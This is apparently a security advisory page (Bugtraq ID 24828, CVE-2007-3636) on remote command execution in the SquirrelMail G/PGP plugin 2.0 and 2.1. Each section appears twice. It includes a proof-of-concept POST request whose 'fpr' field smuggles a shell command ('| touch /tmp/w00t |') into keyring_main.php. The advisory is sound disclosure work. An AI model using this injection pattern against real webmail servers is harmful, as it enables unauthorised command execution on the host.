SquirrelMail G/PGP Encryption Plug-in Multiple Unspecified Remote Command Execution Vulnerabilities
BID:24828
Info
SquirrelMail G/PGP Encryption Plug-in Multiple Unspecified Remote Command Execution Vulnerabilities
| Bugtraq ID: | 24828 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-3636 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 09 2007 12:00AM |
| Updated: | May 07 2015 05:37PM |
| Credit: | Stefan Esser disclosed these issues. The original discoverer is not currently known. |
| Vulnerable: |
SquirrelMail G/PGP Encryption Plugin 2.1 SquirrelMail G/PGP Encryption Plugin 2.0 |
| Not Vulnerable: | |
Discussion
SquirrelMail G/PGP Encryption Plug-in Multiple Unspecified Remote Command Execution Vulnerabilities
Vulnerabilities in the SquirrelMail G/PGP encryption plugin may allow malicious webmail users to execute system commands remotely. These issues occur because the application fails to sufficiently sanitize user-supplied data.
Commands would run in the context of the webserver hosting the vulnerable software.
Reports indicate that these vulnerabilities reside in SquirrelMail G/PGP 2.0 and 2.1 and that the vendor is aware of the issues. This has not been confirmed.
No further technical details are currently available. We will update this BID as more information emerges.
Vulnerabilities in the SquirrelMail G/PGP encryption plugin may allow malicious webmail users to execute system commands remotely. These issues occur because the application fails to sufficiently sanitize user-supplied data.
Commands would run in the context of the webserver hosting the vulnerable software.
Reports indicate that these vulnerabilities reside in SquirrelMail G/PGP 2.0 and 2.1 and that the vendor is aware of the issues. This has not been confirmed.
No further technical details are currently available. We will update this BID as more information emerges.
Exploit / POC
SquirrelMail G/PGP Encryption Plug-in Multiple Unspecified Remote Command Execution Vulnerabilities
Attackers may use a browser to exploit these issues.
The following POST request data demonstrates one of the issues:
$ nc *** 80
POST /webmail/plugins/gpg/modules/keyring_main.php HTTP/1.1
Host: ***
User-Agent: w00t
Keep-Alive: 300
Connection: keep-alive
Cookie: Authentication Data for SquirrelMail
Content-Type: application/x-www-form-urlencoded
Content-Length: 140
id=C5B1611B8E71C***&fpr= | touch /tmp/w00t | &pos=0&sort=email_name&desc=&srch=&ring=all&passphrase=&deletekey=true&deletepair=false&trust=1
Attackers may use a browser to exploit these issues.
The following POST request data demonstrates one of the issues:
$ nc *** 80
POST /webmail/plugins/gpg/modules/keyring_main.php HTTP/1.1
Host: ***
User-Agent: w00t
Keep-Alive: 300
Connection: keep-alive
Cookie: Authentication Data for SquirrelMail
Content-Type: application/x-www-form-urlencoded
Content-Length: 140
id=C5B1611B8E71C***&fpr= | touch /tmp/w00t | &pos=0&sort=email_name&desc=&srch=&ring=all&passphrase=&deletekey=true&deletepair=false&trust=1
Solution / Fix
SquirrelMail G/PGP Encryption Plug-in Multiple Unspecified Remote Command Execution Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
SquirrelMail G/PGP Encryption Plug-in Multiple Unspecified Remote Command Execution Vulnerabilities
References:
References:
- [Dailydave] SquirrelMail GPG Plugin vuln (Stefan Esser)
- [VIM] SquirrelMail GPG Plugin Vulnerabilities (George A. Theall)
- [VIM] True: SquirrelMail G/PGP Encryption Plug-in 2.0 Command Execution Vuln (George A. Theall)
- G/PGP Encryption Plugin (SquirrelMail)
- Re: [VIM] SquirrelMail GPG Plugin Vulnerabilities (Nicob
- SquirrelMail G/PGP Encryption Plug-in Remote Command Execution Vulnerability ([email protected])